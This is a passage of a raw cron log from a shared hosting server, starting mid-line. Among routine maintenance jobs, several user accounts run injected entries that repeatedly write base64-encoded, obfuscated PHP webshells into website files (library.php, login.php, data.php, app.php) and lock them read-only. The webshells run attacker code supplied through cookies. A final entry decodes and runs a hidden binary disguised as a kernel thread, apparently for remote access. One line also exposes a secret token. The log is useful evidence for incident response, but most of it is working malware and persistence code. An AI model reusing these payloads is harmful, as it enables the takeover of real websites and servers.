fi; chmod 444 "$fp")
Mar  1 03:58:02 medusa CROND[16533]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:59:02 medusa CROND[6248]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:59:02 medusa CROND[6249]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:59:02 medusa CROND[6250]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 03:59:02 medusa CROND[6251]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:59:02 medusa CROND[6253]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:59:02 medusa CROND[6255]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:59:02 medusa CROND[6257]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:59:02 medusa CROND[6261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:59:02 medusa CROND[6264]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:59:02 medusa CROND[6266]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:59:02 medusa CROND[6267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:59:02 medusa CROND[6260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:00:01 medusa CROND[28486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:00:01 medusa CROND[28515]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:00:01 medusa CROND[28514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:00:02 medusa CROND[28516]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:00:02 medusa CROND[28527]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:00:02 medusa CROND[28673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 04:00:02 medusa CROND[28676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:00:02 medusa CROND[28691]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28694]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 04:00:02 medusa CROND[28695]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 04:00:02 medusa CROND[28703]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28723]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 04:00:02 medusa CROND[28724]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 04:00:02 medusa CROND[28726]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:00:02 medusa CROND[28730]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 04:00:02 medusa CROND[28731]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28732]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:00:02 medusa CROND[28736]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28738]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28739]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:00:02 medusa CROND[28748]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:00:02 medusa CROND[28753]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:00:02 medusa CROND[28754]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 04:00:02 medusa CROND[28758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:00:02 medusa CROND[28728]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28755]: (root) CMD (/usr/bin/flock -n /var/run/clean_packages.cronlock /usr/share/cloudlinux/clean_packages.sh &> /dev/null)
Mar  1 04:00:02 medusa CROND[28751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28745]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28764]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:00:02 medusa CROND[28769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:00:02 medusa CROND[28777]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:00:02 medusa CROND[28776]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28781]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
